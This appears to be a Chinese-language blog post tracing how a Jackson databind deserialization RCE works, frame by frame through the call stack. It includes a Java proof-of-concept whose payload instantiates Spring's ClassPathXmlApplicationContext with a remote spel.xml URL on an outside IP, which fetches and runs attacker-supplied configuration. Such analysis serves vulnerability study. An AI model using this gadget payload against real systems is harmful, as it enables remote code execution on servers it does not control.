CVE-17485-jackson-rce主线流程分析

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.io.IOException;
import com.fasterxml.jackson.databind.*;
import java.lang.ProcessBuilder;
import org.springframework.context.support.ClassPathXmlApplicationContext;
public class Exploit {
public static void main(String args[]) throws Exception
{
// ProcessBuilder process = new ProcessBuilder("open", "/Applications/Calculator.app/");
// process.start();
testSpringFramework();
}
public static void testSpringFramework(){
String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", " +
"\"http://120.25.80.195:7231/spel.xml\"]\n";
System.out.println(payload);
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
mapper.readValue(payload, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
}
}

然后进入java反射相关的函数,里面就不太懂,就追到这里了。

  • call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect)

进入return this._constructor.newInstance(arg);

  • createFromString:318, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std)

再次经过蛇皮判断后进入return this._fromStringCreator.call1(value);

在这里可以看到value已经是个String,值是http://120.25.80.195:7231/spel.xml

this._formStringCreator是[constructor for org.springframework.context.support.ClassPathXmlApplicationContext, annotations: [null]]

  • deserializeFromString:1283, BeanDeserializerBase (com.fasterxml.jackson.databind.deser)

经过一些蛇皮判断后传入return this._valueInstantiator.createFromString(ctxt, p.getText());

  • _deserializeOther:159, BeanDeserializer (com.fasterxml.jackson.databind.deser)

根据

1
2
case VALUE_STRING:
return this.deserializeFromString(p, ctxt);

传入的类型进入不同的方法。因为URL传递的是字符串,进入deserializeFromString

  • deserialize:150, BeanDeserializer (com.fasterxml.jackson.databind.deser)

第二次进入次函数if (p.isExpectedStartObjectToken()) { 结果是False,p._textBuffer是xml的地址,于是进入 return this._deserializeOther(p, ctxt, p.getCurrentToken());

  • _deserialize:116, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)

Object value = deser.deserialize((JsonParser)p, ctxt); 对JsonParser P做了一些修饰后传入deserialize方法

  • deserializeTypedFromAny:71, AsArrayTypeDeserializer (com.fasterxml.jackson.databind.jsontype.impl)

return this._deserialize(jp, ctxt); 跟进

  • deserializeWithType:553, UntypedObjectDeserializer$Vanilla (com.fasterxml.jackson.databind.deser.std)

return typeDeserializer.deserializeTypedFromAny(p, ctxt); 跟进

  • deserialize:63, TypeWrappedDeserializer (com.fasterxml.jackson.databind.deser.impl)

return typeDeserializer.deserializeTypedFromAny(p, ctxt); 跟进

  • _readMapAndClose:3798, ObjectMapper (com.fasterxml.jackson.databind)

return this._deserializer.deserializeWithType(jp, ctxt, this._typeDeserializer);

  • readValue:2842, ObjectMapper (com.fasterxml.jackson.databind)

做一些初始化工作

1
2
3
DeserializationConfig cfg = this.getDeserializationConfig();
DeserializationContext ctxt = this.createDeserializationContext(p, cfg);
JsonDeserializer<Object> deser = this._findRootDeserializer(ctxt, valueType);

进入下一层result = deser.deserialize(p, ctxt);

  • testSpringFramework:28, Exploit

进入return this._readMapAndClose(this._jsonFactory.createParser(content), this._typeFactory.constructType(valueType));

  • main:17, Exploit

进入mapper.readValue(payload, Object.class);

从主线的流程可以看到Jackson在初始化阶段对传入的JSON做了一些处理后,就不断进入判断分支,不断的进入他应该进入的方法。

支持一下
扫一扫,支持forsigner